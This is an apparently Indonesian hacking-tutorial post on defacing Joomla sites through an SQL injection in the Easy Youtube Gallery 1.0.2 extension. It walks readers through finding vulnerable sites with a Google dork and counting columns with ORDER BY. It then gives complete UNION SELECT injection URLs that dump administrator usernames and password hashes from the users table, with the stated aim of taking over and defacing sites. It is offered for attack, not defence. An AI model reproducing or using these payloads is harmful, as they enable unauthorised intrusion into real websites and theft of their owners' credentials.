hay guys :v cie ketemu lagi neh sama cakil :vok kali ini cakil akan share tutorial deface joomblo :v eh joomla Easy Youtube Gallery 1.0.2
sql Injection :v vulnerability. sebenernya ini poc lama :v tapi gpp lah :v
siapa tau ada yg blm tau :v
langsung ae yuk simak :v
1.dork : disini
2.oke masukan dork ke google :v (di hatiku juga boleh ko wkwkwkw)
3.check eror nya dolo ea
masukan kode
+order+by+1--+ <- ga eror
+order+by+2--+ <- ga eror
dan ternyata eror di 15
(liat gambar)
(yang berarti column hanya di 14)
4.oke sekarang kita masukan kode
+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+
nanti akan terlihat seperti ini
http://localhost/index.php?option=com_easy_youtube_gallery&view=videos&mycategory=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--+&defaultvideo=3&Itemid=121&limitstart=18
nah udah keliatan tuh nmr nya :v
5.oke kita dump table nya :v
kode : sini
(nah udah muncul tuh :v)
6.skrng kita dump column nya
kode : group_concat(username,0x3a,password)
contoh
http://localhost/index.php?option=com_easy_youtube_gallery&view=videos&mycategory=0+union+select+1,2,3,4,5,6
,group_concat(username,0x3a,password),8,9,10,11,12,13,14+from+bak_users--+&defaultvideo=3&Itemid=121&limitstart=18
nah udah ketemu tuh admin sama pw nya hehehe :v
sangad mudah bukan :v
oke sekian dan terima kasih :v
kalo ada yang tidak tau silahkan nanya di fp kami
sini bree